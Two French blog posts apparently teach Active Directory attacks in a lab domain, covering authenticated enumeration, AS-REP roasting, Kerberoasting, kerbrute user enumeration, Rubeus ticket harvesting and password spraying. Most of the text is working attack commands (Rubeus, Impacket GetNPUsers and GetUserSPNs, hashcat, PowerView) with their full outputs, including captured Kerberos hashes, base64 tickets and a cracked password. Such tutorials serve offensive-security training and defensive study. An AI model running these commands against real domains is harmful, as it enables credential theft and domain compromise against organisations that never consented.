AD on KIRÔN

AD - Enumération avec authentification

Mon, 30 Mar 2026 00:00:00 +0000

AD : Enumération avec authentification

AS-REP Roasting

Pour faire de l’AS-REP Roasting nous pouvons utiliser 2 outils :

Rubeus
Impacket

Nous allons voir ces 2 outils. Puis une partie brute-force avec hashcat.

Enumération

Avec cette partie de l’exploitation, nous allons voir comment recupérer les mots de passe hashé des comptes qui ont la pré-authéntification de désactivé.

Rubeus

Comme vu dans le poste Attaquer Kerberos nous devons avoir accès à une machine et y avoir le binaire de Rubeus dessus.

`1`	`Rubeus.exe asrepsoasting`

Impacket

Tout pareil nous avons vu cette attaque dans le poste Attaquer Kerberos j’explique plus précisément les commande là bas.

GetNPUsers.py kiron.loc/ -dc-ip 10.211.12.10 -usersfile users.txt -format hashcat -outputfile hashes.txt -no-pass
Impacket v0.10.1.dev1+20230316.112532.f0ac44bd - Copyright 2022 Fortra

[-] User Administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User sshd doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User gerald.burgess doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User nigel.parsons doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User guy.smith doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User jeremy.booth doesn't have UF_DONT_REQUIRE_PREAUTH set
[...]

Une fois le(s) hash récupéré, nous pourrons tenter de le(s) cracker/brute-force.

Brute-Force

Nous allons tenter de Brute-force le hash récupéré précédemment, pour ça, nous pouvons utiliser la binaire hashcat :

hashcat -m 18200 hashes.txt /opt/lists/rockyou.txt
hashcat (v6.2.6) starting

OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, POCL_DEBUG) - Platform #1 [The pocl project]
==========================================================================================================================================
* Device #1: pthread--0x000, 2941/5947 MB (1024 MB allocatable), 10MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 2 MB


Dictionary cache built:
* Filename..: /opt/lists/rockyou.txt
* Passwords.: 14344391
* Bytes.....: 139921497
* Keyspace..: 14344384
* Runtime...: 0 secs

$krb5asrep$23$asrepuser@KIRON.LOC:bed70468ecb6364309b6405a0d3ba84c$00421aeeb4b3b88dcca6a8f96c92e9e8ab870e757fbc9a8807e3be1324820f5b938cbe15cf708c8ded8d56339ef1ceed4bf8c47ed2154ff765ac45391789aebc926b70f65b27ecaf03c0940d0e4206297fb49e68caa7d43dcd5606a30f4c55ef05e4b78c78a4e7f57cad8e35c477ff49f222da02fe5228ccbab1b1a5574f2ba55c8319c96178bbccc1de2b3cf0dca4d7d323ac92e32d31e5334bcd5e4e8410840416da78441fa675c33cd459c02b9775aae29f6f6ca30f7b4e27fd1f893a037c6eaf87c644f8f8f296224d76ef023d5cad55acfe25ae6bc2070b0288bf47036db3d105e3d618a8785f91352850a5:qwerty123!

Ici nous pouvons voir que l’utilisateur asrepuserdu domaine KIRON.LOC à le mot de passe qwerty123!.

Enumération manuel

L’énumération manuel peut nous permettre d’avoir énormément d’info sur l’environnement dans lequel nous nous trouvons. Pour cette exemple je vais continuer avec l’utilisateur pwn :

Whoami

C:\Users\asrepuser1>whoami /all

USER INFORMATION
----------------

User Name            SID
==================== ============================================
kiron\asrepuser S-1-5-21-1966530601-3185510712-10604624-1641


GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes
========================================== ================ ============ ==================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
Authentication authority asserted identity Well-known group S-1-18-1     Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Mandatory Level     Label            S-1-16-8192


PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
[...]

Ici une partie qui nous intéresse principalement c’est les PRIVILEGES

Privilèges

Privilège	Description
SeImpersonatePrivilege	Permet à un processus d’emprunter l’identité (contexte de sécurité) d’un autre utilisateur après authentification.
SeAssignPrimaryTokenPrivilege	Autorise un processus à assigner le jeton d’accès principal (primary token) d’un autre utilisateur à un nouveau processus.
SeBackupPrivilege	Permet à un utilisateur de lire n’importe quel fichier sur le système, en ignorant les permissions NTFS.
SeRestorePrivilege	Donne le droit d’écrire dans n’importe quel fichier ou clé de registre, en contournant les permissions.
SeDebugPrivilege	Permet d’attacher un débogueur à n’importe quel processus, y compris ceux exécutés avec des privilèges élevés (ex. : `lsass.exe`).

Invite de commande

Mise à part cette commande whoami nous avons pas mal d’autres utilitaires comme net qui va nous permettre de lister les utilisateurs, groupes, partage de fichier disponible sur le réseau :

# Connaître les utilisateurs du domaine : 
net user /domain

# Avoir des infos sur un utilisateur précis : 
net user <user> /domain

# Avoir des infos sur les groupes : 
net group /domain

# Avoir des infos sur un groupe précis : 
net group "Tier 1 Admins" /domain

[...]

Powershell

Nous avons le module PowerShell ActiveDirectory :

# Installation du module
Import-Module ActiveDirectory

# Enumérer les utilisateurs du domaine
Get-ADUser -Filter * 

# Infos concernant un utilisateur
Get-ADUser -Identity <user>

# Avoir les groupes de l'AD 
Get-ADGroup -Filter * | Select Name

# Avoir les utilisateurs d'un groupe
Get-ADGroupMember -Identity "<group>"

# Avoir les politiques de mots de passe 
Get-ADDefaultDomainPasswordPolicy

Avec powershell nous avons un Framework externe pour faciliter l’énumération manuel qui s’appel PowerSploit :

# Installation
git clone https://github.com/PowerShellMafia/PowerSploit.git
cd Recon
Import-Module PowerView.ps1

# Utilisation
# Enumération des utilisateurs du domaine
Get-DomainUser

# Chercher un 'type' d'utilisateur par son nom
Get-DomainUser *admin*

# Enumération des groupes du domaine
Get-DomainGroup

# Chercher un 'type' de groupe par son nom
Get-DomainGroup *admin*

# Avoir les PC du domaine
Get-DomainComputer

#####
# Avec ce framework nous pouvons également lister les utilisateurs admins avec : 
Get-DomainUser -AdminCount

# Avoir les comptes contenant un SPN
Get-DomainUser

AD - Attaquer Kerberos

Fri, 27 Mar 2026 00:00:00 +0000

AD : Attaquer Kerberos

C’est quoi Kerberos ?

Kerberos est un service d’authentification propre à Windows, il est sensé être le remplaçant de NTLM car mieux sécurisé. Il utilise un chiffrement à clé symétrique et demande une authentification externe pour vérifier l’identité d’un utilisateur. Il à besoin de 3 entités (d’où son nom). Bien qu’il soit propre à Windows nous pouvons trouver des implémentations dans les sytèmes Linux, FreeBSD, MacOS etc.

Kerberos nous offre une amélioration significative comparé aux autres services d’authentification antérieur (type NTLM), un chiffrement renfocé et un acteur externe compliquent la tâche en Red Teaming.

Bien qu’il soit plus sécurisé que ses prédécesseurs il n’est pas infaillible, nous allons voir ça dans ce poste.

Comment fonctionne kerberos ?

Tout d’abord voici les acronymes nécessaire pour comprendre le fonctionnement de kerberos :

Nom	Diminutif	Rôle
Ticket Granting Ticket	TGT	Un TGT est un ticket d’authentification utilisé pour demander des tickets de service au TGS pour des ressources spécifiques du domaine.
Key Distribution Center	KDC	Le KDC est un service qui émet les TGT et les tickets de service, composé du Service d’Authentification (AS) et du Tickets Granting Service (TGS).
Authentication Service	AS	L’Authentication Service émet des TGT à utiliser par le TGS dans le domaine pour demander l’accès à d’autres machines et des tickets de service.
Ticket Granting Service	TGS	Le Ticket Granting Service prend le TGT et retourne un ticket pour une machine du domaine.
Service Principal Name	SPN	Un Service Principal Name est un identifiant donné à une instance de service pour associer cette instance à un compte de service de domaine. Windows exige que les services aient un compte de service de domaine, d’où la nécessité de définir un SPN.
KDC Long Term Secret Key	KDC LT Key	La clé KDC est basée sur le compte de service KRBTGT. Elle est utilisée pour chiffrer le TGT et signer le PAC.
Client Long Term Secret Key	Client LT Key	La clé client est basée sur le compte de l’ordinateur ou du service. Elle est utilisée pour vérifier l’horodatage chiffré et chiffrer la clé de session.
Service Long Term Secret Key	Service LT Key	La clé de service est basée sur le compte de service. Elle est utilisée pour chiffrer la partie service du ticket de service.
Session Key	SK	Émise par le KDC lorsqu’un TGT est délivré. L’utilisateur fournira la clé de session au KDC avec le TGT lors de la demande d’un ticket de service.
Privilege Attribute Certificate	PAC	Le PAC contient toutes les informations pertinentes de l’utilisateur. Il est envoyé avec le TGT au KDC pour être signé par la Clé LT Cible et la Clé LT KDC afin de valider l’utilisateur.

Le fonctionnement de kerberos est plutôt simple, nous allons décortiquer les étapes d’une authentification :

[AS-REQ] Le client envoie une requête de TGT au KDC.
[AS-REP] si la requête est complète le KDC envoi le TGT au client avec une SK.
[TGS-REQ] avec ce TGT le client envoi une requête de TGS avec le SPN que le client veut joindre.
[TGS-REP] Le KDC verifie le TGT de l’utilisateur, si c’est “OK” le KDC envoie le TGS avec une SK pour la ressource.
[AP-REQ] Le client envoi une requête au serveur voulu avec sa SK.
[AP-REP] Le serveur authentifie le client.

Quelle sont les attaques possible ?

Nom de l’attaque	Privilège requis
Kerbrute Enumeration	Aucun accès au domaine requis
Pass the Ticket	Accès en tant qu’utilisateur au domaine requis
Kerberoasting	Accès en tant qu’utilisateur quelconque requis
AS-REP Roasting	Accès en tant qu’utilisateur quelconque requis
Golden Ticket	Compromission complète du domaine (administrateur de domaine) requise
Silver Ticket	Hash du service requis
Skeleton Key	Compromission complète du domaine (administrateur de domaine) requise

Kerbrute Enumeration

En réalisant un brute-force sur l’annuaire ldap avec kerbrute nous pouvons retrouver énormément d’utilisateurs de l’AD, ce qui est intéressants car avec ce genre de brute-force aucune alerte ne sera envoyer au SOC, sauf si la pré-authentification est activé.

Installation de kerbrute

Télécharger le binaire https://github.com/ropnop/kerbrute/releases
Renommer kerbrute_{OS}_{Arcitecture} en kerbrute
Se donner les droits à l’execution puis le rendre executable
Exécuter le binaire

Enumerer les utilisateurs

`1`	`./kerbrute userenum --dc CONTROLLER.local -d CONTROLLER.local User.txt`

userenum : Demande a Kerbrute d’énumérer les utilisateurs
--dc : Spécifie le Domain Controller, nous devons mettre le nom de domaine ici, il est docn important de déclarer le NDD dans /etc/hosts
-d : Déclare le Domain
User.txt : Donne une wordlist d’utilisateurs Cette commande va nous rendre une sortie sous cette forme :


    __             __               __     
   / /_____  _____/ /_  _______  __/ /____ 
  / //_/ _ \/ ___/ __ \/ ___/ / / / __/ _ \
 / ,< /  __/ /  / /_/ / /  / /_/ / /_/  __/
/_/|_|\___/_/  /_.___/_/   \__,_/\__/\___/                                        

Version: v1.0.3 (9dad6e1) - 03/27/26 - Ronnie Flathers @ropnop

2026/03/27 10:35:28 >  Using KDC(s):
2026/03/27 10:35:28 >  	CONTROLLER.local:88

2026/03/27 10:35:28 >  [+] VALID USERNAME:	 administrator@CONTROLLER.local
2026/03/27 10:35:28 >  [+] VALID USERNAME:	 admin1@CONTROLLER.local
2026/03/27 10:35:28 >  [+] VALID USERNAME:	 admin2@CONTROLLER.local
[...]

Harvesting & Brute-Forcing Ticket

Harvesting Ticket

Pour effectuer cette attaque il faut un accès à une machine.

Une fois notre accès à la machine nous devons télécharger Rubeus :

1
2
3

wget https://github.com/GhostPack/Rubeus/releases/tag/1.6.4
# Il faut le dézipper 
Rubeus.exe harvest /interval:30

Avec cette commande, Rubeus va essayer de récolter des TGT toutes les 30 secondes.

Voilà notre sortie de commande :

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___ 
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0 

[*] Action: TGT Harvesting (with auto-renewal)        
[*] Monitoring every 30 seconds for new TGTs
[*] Displaying the working TGT cache every 30 seconds 


[*] Refreshing TGT ticket cache (3/27/2026 3:51:55 AM) 

  User                  :  CONTROLLER-1$@CONTROLLER.LOCAL
  StartTime             :  3/27/2026 3:20:00 AM
  EndTime               :  3/27/2026 1:20:00 PM
  RenewTill             :  4/3/2026 3:20:00 AM
  Flags                 :  name_canonicalize, pre_authent, initial, renewable, forwardable
  Base64EncodedTicket   :

    doIFhDCCBYCgAwIBBaEDAgEWooIEeDCCBHRhggRwMIIEbKADAgEFoRIbEENPTlRST0xMRVIuTE9DQUyiJTAjoAMCAQKhHDAaGwZr 
    cmJ0Z3QbEENPTlRST0xMRVIuTE9DQUyjggQoMIIEJKADAgESoQMCAQKiggQWBIIEEhWRQpLWgQvzyl9TzCtgjddJp2zZciEqTHrb 
    Jnt2FNdxY0Ky2g7mZ7F18qIaE8H+CZqUNJ4gtTCPIQf+KAV65A9oJsWc183gUW6f2O8vUVkFWnD7MplzcdKWoNwjpQ1RmzQ+lRx5 
    YcEJkNfXvy5/UjxWxm/oYOpdRBJcCVMUN+plpJLVkmT4pdlYjLDARHuV3jmMsAIlpJrEBeLRuJQsr4w6ka9Fql3LgaXOSeSJ2/Dq 
    zf6x641VJoFaMQhDIkoH72t9SX5CQ159ODXYrRfHq1rjcPRdbxK6SMi90XmjmOspgicItpUTUzPtKVGvmmqrLl2/mP46JiiOqlaN 
    wZ6GZmP+Sj+dPBlNcJy7cxkGjBTKuOXiQ+LE/1UCaBsnJIoXRnebaXKsZVjQr65n1CpECItOHLLHoEG8v+DTWhK9b1Ifid37GTd/ 
    X3P/xUF8gTCNBb/VLJwF9NrBtmyF2i0UgqgVX0Tb/4o99txurdWEgoc69MZAvBkyTpwLw+7UdghndKhx9v4qhQPypEyzuLsIY1Sl 
    ZUlMxzFz8YFHHm2jHa5WjcYaGJUNrcUmw61mgtaHz2mo0hBuJ4M4/i1k+jX/4gXnWEgTBebEiUgSc7RV5y1N2tZ79K7LnJ3er1oa 
    3NflvAXeWgGXM6aEzxk8MW2QEBWCd/ksYavCOLPwKVSdp1UY/UJXQ0uL715tLDmjIkmVt2+WknmdqJXaI6eIWkzExAQza5CY3Nwa 
    yLzVbcqSddbNL6Rp45YmYkvyhC0xRByt+jvf7xH7CcysKFcG3fl3UCYyhiej50uQTT4zTpj24JwdmfCNjuLn+4Db7CpRAKB75Q1d 
    EUKLoDkG4HMNHfw+sU8W22pnOFzpoDhuiBIt9fahoRPMSgwn4yaWkokaSagAdc9loyy7MGez48LgzhU5b9dacBxutbLNe0lpgdiF 
    lDoNcUJOCX4F2f34zdfYwBQT67SgR2M9HnQDr12JNepe+j1twzB47Bzxlu5XN/sQiEO9NoiRJrSozzLivw02S/1l6aW89m3bGe/a 
    HtpJX7nzPjx6vOEJNXv0XlAbBxT7+g1Fh8TssyWBR1Zze6NNhtURbeCq3Epm4nLvhq9Wz6s1n8dKFosT014wGHGuEiD4UtkUQBLC 
    FLV9JkHwh4KGLtd4hTACw4CwnqKnITwnoDpo/pXegSLNvqenlA4W3PtLDBb6+UuJOagiRbKYJl9NeadqTOphSvMK+DCqUXk3Fdz2 
    wRLC66O7j2VwghGAFKC1B6jTwkaSNLu4ONi9gyg1igud7RJCR6X2Lt/kegq10Y79RxhGY53Oh3+skcLHgarSuTjHli6Dmc6cM6QE 
    jFD9yObqyKb7+XUNNWsWLL56/U7tOzvbzx42BEaAASKBwgvXxCwMmgejgfcwgfSgAwIBAKKB7ASB6X2B5jCB46CB4DCB3TCB2qAr 
    MCmgAwIBEqEiBCBe6Xo/L/JuYJyZFMwb64WpqL7kSPfT1jUKTIWlpyRGlaESGxBDT05UUk9MTEVSLkxPQ0FMohowGKADAgEBoREw 
    DxsNQ09OVFJPTExFUi0xJKMHAwUAQOEAAKURGA8yMDI2MDMyNzEwMjAwMFqmERgPMjAyNjAzMjcyMDIwMDBapxEYDzIwMjYwNDAz 
    MTAyMDAwWqgSGxBDT05UUk9MTEVSLkxPQ0FMqSUwI6ADAgECoRwwGhsGa3JidGd0GxBDT05UUk9MTEVSLkxPQ0FM
[...]

Brute-Forcing

Pour faire un brute-force nous allons également utiliser Rubeus, mais avec l’argument brute :

`1`	`Rubeus.exe brute /password:Password1 /noticket`

brute : Pour déclarer le fait que nous voulons réaliser un brute-force
/password : Sert à déclarer que nous voulons tester tout les utilisateurs possible avec le mot de passe voulu
/noticket : Pour ne pas demander un ticket

Voici le retour de cette commande :

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0

[-] Blocked/Disabled user => Guest
[-] Blocked/Disabled user => krbtgt
[+] STUPENDOUS => Machine1:Password1
[*] base64(Machine1.kirbi):

      doIFWjCCBVagAwIBBaEDAgEWooIEUzCCBE9hggRLMIIER6ADAgEFoRIbEENPTlRST0xMRVIuTE9DQUyi
      JTAjoAMCAQKhHDAaGwZrcmJ0Z3QbEENPTlRST0xMRVIubG9jYWyjggQDMIID/6ADAgESoQMCAQKiggPx
      BIID7YzfH3XEE4vBIzp7MGyX10RHgIxVSOw61LrQXK7HrlWi+HgiTHxNf+CMmq0NV/OiFEn2RAR4o1Cd
      mRshQzrOG+r4rSmuYgDIwHaJyNtEwLGT+M03M9VTyXwsjxWvMYKoP+aVBjHTvbTRcCS/0hTARMPWyO05
      Cl6ckEoDIDY2pyZ8I734DE69FTWBbrWKUS/QjojS4uZ9brdPCriwQZfl2dZo+WL2s3TldT5TrFIVjTvg
      fP2eGG0PjVJ5b90KqHJKxvb/d11bz8V/ogkujVu71pZVviZWfU8d5MY0AsrLmhyyRjSshp/ykCOCLe+g
      vZObwD1koLHsQEyHeABB+ZikFsyCiaOSnMvJ/wl1UkVac+SRi2yNnKhksB02RbT3JmIJHdU+1WshUfu6
      AphjAW/ta0CWBw2NVWtZn98Yp5qeei0aco8vLpmT48wWD+dC9HjQxCwRjKQlGi34oDXIYwiXs9kNeILE
      9aa3jXVxPuN/eR6coySCIPf5JC8vnLafi92smfXQflznLyr3P/GPagqk/n/YimVcCvTkPRoTMxJFsB97
      Evf8ieEPUB2pZCTptqqcAS5hIxq9fXJDN5ssByTqrsbwndwJ6cb1GOEJvSEkQ9tfHKkPHZ8t4+CO9NkG
      kL4qtN9uhk5zcRAEoMHgAxingK7kSp+U8rUU/uLVwWFi64NRPGC4Q+7E4DhNb0CEcWagOtzVd9UBmLxN
      mbbHqg7zQfNvK0SxNPYLBxd6LlVq5R3bnpODIt0tEETrFudfJeCMFQlSciI27OdcnHAxGmsZPn8eUmV2
      GqWFNqMudWEpjMfwb6QSKrGAVmop13G4fw9XtAQ8vJZXCbnorgSLeEBrM/2XHnVzX0cTCpxy0fLswxBb
      LQeckwmA21Zbb0fAKID53zlugAbqGfElwP3nneOtZjlFCdhvCuKzzmMS0baqvd9QLk0gcNrrWlyWeeIP
      Oq7juOZvCNp/eEgbU044+0Ycl6tX63/g3B6F1MlVHDOSZs8471vxK8hqS2YP3JoXOs8/XOyWj0FPGz8o
      84IoKPJRIx1w185u8Tq1CNesjKq1SoAz+XhtbCUX8GATxJW2Xk8fE3MSPp9dufJK+pyzEZVRDnRVrLUB
      wr9rMjj//+5DCq4CRtXl1olNFBkFkU6ouosAirkHOh4p6vbzt7hwxhICCcjiSDKxqB9FuSSlR2lTJQCw
      TeqiItPMlA6bpO8UQt5fMoeG5DCURu8+fArIdgolMVbJERPchwiOvj15WJXjCjtRqI4WW8eC+N2o8Eor
      8Ty+CcgWakFxq7f46iTU0O4MWZoMJn4Zyt4fl0Upe6I8mGNL+f6KeuVnJovDKaz57aOB8jCB76ADAgEA
      ooHnBIHkfYHhMIHeoIHbMIHYMIHVoCswKaADAgESoSIEIFpkfjUctKnJ2fQ48VIeheFyXfzda/3/WmOX
      2g/kHNduoRIbEENPTlRST0xMRVIuTE9DQUyiFTAToAMCAQGhDDAKGwhNYWNoaW5lMaMHAwUAQOEAAKUR
      GA8yMDI2MDMyNzExMDAxM1qmERgPMjAyNjAzMjcyMTAwMTNapxEYDzIwMjYwNDAzMTEwMDEzWqgSGxBD
      T05UUk9MTEVSLkxPQ0FMqSUwI6ADAgECoRwwGhsGa3JidGd0GxBDT05UUk9MTEVSLmxvY2Fs

[+] Done

Kerberoasting

Cette attaque permet à un utilisateur de demander un TGS pour n’importe quel service disposant d’un SPN (et vu que TOUT les services utilisant Kerberos doit avoir un SPN pour chiffrer le TGS nous pouvons demander un TGS à tous les services, à condition d’avoir un compte valide), pour ensuite utiliser ce TGS pour cracker le mot de passe du service. Cette attaque est possible à partir du moment qu’un service possède un SPN, le seul moyen de s’en protéger est d’avoir des mots de passe robuste.

Dans ce poste nous allons utiliser 2 outils pour réaliser cette attaque, Rubeus (oui, encore), et Impacket. Il existe évidemment d’autres outils pour réaliser cette attaque on peu cité Kekeo ou encore Invoke-Kerberoast.

Rubeus

Commande très simple (compliqué de faire plus simple) :

1
2

Rubeus.exe kerberoast
# J'avais prévenu...

Cette commande nous renvoie cette sortie :

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0


[*] Action: Kerberoasting

[*] NOTICE: AES hashes will be returned for AES-enabled accounts. 
[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts. 

[*] Searching the current domain for Kerberoastable users

[*] Total kerberoastable users : 2


[*] SamAccountName         : SQLService
[*] DistinguishedName      : CN=SQLService,CN=Users,DC=CONTROLLER,DC=local
[*] ServicePrincipalName   : CONTROLLER-1/SQLService.CONTROLLER.local:30111
[*] PwdLastSet             : 5/25/2020 10:28:26 PM
[*] Supported ETypes       : RC4_HMAC_DEFAULT
[*] Hash                   : $krb5tgs$23$*SQLService$CONTROLLER.local$CONTROLLER-1/SQLService.CONTROLLER.loca 
                             l:30111*$B520460B8D0F2F66262C5DBFAB16EDE8$31CAE2DB15F0E6A192B55F64E3252C23FC5FFD 
                             508D7FC4E62EF66209A9DEFCA978F434CBE4E131A1026F5ACBFFA22ECD13866C376418F6040DDC12
                             80F9C0C14C1C202A8588E3354391E2390BF1B808444FE4914F8A20E7976DE0D4AD263BDABC9B3223
                             45661604B79D24F02C667995E53D4CA310C403DCC5B44A82133DC84043CC72DCBD1E205201A415E2
                             C659377B1E0FFEA00B5B29D03D3ED66CB6BCE541A6A432C34CF7D836B80C98475528EDC181A0141B
                             259CD18CD350B5907174F9A0A4488FA7AA0E61BD36994FB7EF34D7B1A0A95F464257C1BEBE97F3F4
                             12A10DA5F0AAA8082EDAAF8966CD021151B323C0368761E92317DB33269C03F0A8EB3C073FC6DD9B
                             D739042DB473F88DC66C375FD1B9649FDB86A3F6F69962459464026FB417FD37A43CF0E04C95FB34
                             03591405C78FB42227F0425ECDFF4D53875F94AF15583BD1F4E8660938F1CAF87971BC48FD6D61C9
                             1900A75EC86438C311E6AEE73B849E50345707F56205E6C0AF4045035B6771266C7965CDA2C713BC
                             0CCE747EF79FAD04B1075771DDCFA2AA54EB05D573383B2259B04F7EFE9383B79AFA1ED0B6AC8082
                             61085289519357D10C1BA52807A00D0E2ECD2DEDEAFA3162E7D9B7B4C1A86107F3825435FF972DFE
                             05B3D9ED6AC2BFAE8615F223C1BA0299270E6CE53CF60369E68524B374575B1DDA90E2B777136C97
                             EF9D7A45678D4F68195CF5E21FF51982B04AA7B03C955699B3917A0B4961E456CC6070ADEDDF6722
                             1B796A4073EA2AC371CC1867AC775D3674B7A78837D2B6D7265A552B4876C60778101F69AD910DBA
                             4E766E368B9243856860E675236531C21A6C30197723E5BC21F70AB140FA9270C23D6CF7C75D8BB2
                             4DD95087BCB3B30A5536C7DA0ED771588926E55F53000F617FD17AA8CF4863B6F2249F9C68E148EA
                             CC6C8770A8F79EA93996837985CA4BEF7660B735608C43C2E19529362F8C69C4EB791681066DBD56
                             DB0BABCB173128276E2EB6CCE230D90627B15DF5891361020A765358496C9E8B2EA0357525367434
                             65974B7A85292418D9BEB90D3486C688477A82FB373AD2ABEF16DD4305050E113FA260B0FDD6C1F6
                             C2CD7CA7BF83D19E2D99FBC36DB770A42748084AF25ECDD9F96C0A615ECAE4C8F4D5D662B180CF6F
                             61E539F3F8A8B209B829670A1997529D1A2E539551C47438B517290E582EA2C079335C71F5BF0A70
                             9C598F8C6DCA51A0AE93BDCBBC986B7B0402DC0636EA36188756C3AEA56151AB7CFE1CC3DC2F41AF
                             E09C5E312456EC8D7CE696912D0ECACBA3D99CBC2C16BCF2EF6EB92A5C11C7CF62BD1F951D2B3C3F
                             359B9EC3DEBB968280518571A0BFF5AB3E7ECDEDC284568644309738B883256B7AEAAFAE84F4DEE9
                             6C3A27329A0FE166736074F2AEC1D34368821B73116E82D657AFB72556066365E523AD807D2B75B4
                             65CF47D34C99CD648C86C2EE07CBA08DFAB85D9AFD224D8F4EAA74C4F03D81B6C3B987BE18279A3E
                             7154CA3BE9659C33FA5BE0775D1B60CF1F6C0F63AC9D829F4525DB6EDDE1A3609A15C7C2B7B15F01
                             D90F049E54DE0A0A4C11045385BA01A25D843EDF072593F1136206FCD409FF9E99BCE3C6F55C21FF
                             93A52137320F4B7400A1B2D12178B1A9B500AFB1B7FED7AED57F2370D4
[...]

Une fois le hash récupéré nous avons plus qu’a le passer dans hashcat avec le “mode” 13100 :

`1`	`hashcat -m 13100 hashkerb.txt wordlist.txt`

Impacket

Tout d’abord il faut installer Impacket :

1
2
3

wget https://github.com/SecureAuthCorp/impacket/releases/tag/impacket_0_13_0
cd Impacket_0_13_0
pip install .

Une fois installer nous pouvons commencer l’explitation :

1
2

cd examples
python3 GetUserSPNs.py controller.local/Machine1:Password1 -dc-ip 10.129.164.62 -request

Ensuite nous mettons le hash qui nous intéresse dans un fichier txt puis nous lançons la même commande hashcat.

AS-REP Roasting

Lors de la pré-authentification, le hash de l’utilisateur sera utilisé pour chiffrer un timestamp que le DC tentera de déchiffrer afin de valider que le bon hash est utilisé et qu’il ne s’agit pas d’une réutilisation d’une requête précédente. Après validation de l’horodatage, le KDC émettra alors un ticket pour l’utilisateur.

Si la pré-authentification est désactivée, il est possible de demander des données d’authentification pour n’importe quel utilisateur, et le KDC renverra un ticket chiffré (avec le mot de passe de l’utilisateur) qui pourra être craqué hors ligne, car le KDC passe l’étape de vérification que l’utilisateur est bien celui qu’il prétend être.

Pour réaliser cette attaque nous allons utiliser … Rubeus :

`1`	`Rubeus.exe asreproast`

Cette commande nous ressortira tout les compte asrep roastable :

   ______        _
  (_____ \      | |
   _____) )_   _| |__  _____ _   _  ___
  |  __  /| | | |  _ \| ___ | | | |/___)
  | |  \ \| |_| | |_) ) ____| |_| |___ |
  |_|   |_|____/|____/|_____)____/(___/

  v1.5.0


[*] Action: AS-REP roasting

[*] Target Domain          : CONTROLLER.local 

[*] Searching path 'LDAP://CONTROLLER-1.CONTROLLER.local/DC=CONTROLLER,DC=local' for AS-REP roastable users
[*] SamAccountName         : Admin2 
[*] DistinguishedName      : CN=Admin-2,CN=Users,DC=CONTROLLER,DC=local 
[*] Using domain controller: CONTROLLER-1.CONTROLLER.local (fe80::d5be:d5aa:ef52:2168%5)
[*] Building AS-REQ (w/o preauth) for: 'CONTROLLER.local\Admin2'
[+] AS-REQ w/o preauth successful! 
[*] AS-REP hash: 

      $krb5asrep$Admin2@CONTROLLER.local:2790838C1C91447FD824B1901FEDD853$3CB906230B2C
      3C721E906B24A34EC98C01AD616C28115D2B7F9401FAE22A50CFF93056354CA7F21FE4DB9F5FDCC4
      6387E5786D2FA045C5604A8EA98C5EA6C0C513668B55DBE57FD4680CE61BAF1B1DB42D72EF60D1CB
      1EA947709F960527937293F29753F5981085690485933CA4897847549E51E8455C7286253006180F
      9B6476AE51EBA988C4EEA280D722CA33C19BDAEF4BEC5DDEE3451C93CC0F305B6A86A4B1A50A62BC
      12AB19B11DF8349A789E925F5E401DD1E92FDED1D9079B16EC679B71436030F7868629D20B1E58A8
      823876BDFD2C3BE5B829D41672C548FF026952F834CD0603C78EEB215E256A1157D97D2DB0D5

[*] SamAccountName         : User3
[*] DistinguishedName      : CN=User-3,CN=Users,DC=CONTROLLER,DC=local
[*] Using domain controller: CONTROLLER-1.CONTROLLER.local (fe80::d5be:d5aa:ef52:2168%5)
[*] Building AS-REQ (w/o preauth) for: 'CONTROLLER.local\User3'
[+] AS-REQ w/o preauth successful!
[*] AS-REP hash:

      $krb5asrep$User3@CONTROLLER.local:48B5C1890E3522AA4A81A1A6321A68A7$B2DF11BB77AC7
      A780B55B59AEE17992BEFB93D46E082C4D1CF9233A45CCB46A0F351BC4087752F21F6DD3D18FA0D7
      9E775B18F2B2F4BC707953CEDA9EEABA323720BA722A210A28298FF0B903004434316BEFD3C8DC5B
      900CD883E476656E0CCA63E832BF109C613F287FC2760D7FFB0C6DB9E12E98171B7FF7B96F412838
